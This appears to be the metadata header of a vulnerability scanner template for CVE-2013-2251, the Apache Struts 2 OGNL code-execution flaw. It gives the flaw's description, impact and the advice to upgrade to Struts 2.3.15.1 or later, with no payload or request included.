id: CVE-2013-2251

info:
  name: Apache Struts 2 - DefaultActionMapper Prefixes OGNL Code Execution
  author: exploitation,dwisiswant0,alex
  severity: critical
  description: In Struts 2 before 2.3.15.1 the information following "action:", "redirect:", or "redirectAction:" is not properly sanitized and will be evaluated as an OGNL expression against the value stack. This introduces the possibility to inject server side code.
  impact: |
    This vulnerability can lead to remote code execution, allowing attackers to take control of the affected system.
  remediation: Developers should immediately upgrade to Struts 2.3.15.1 or later.
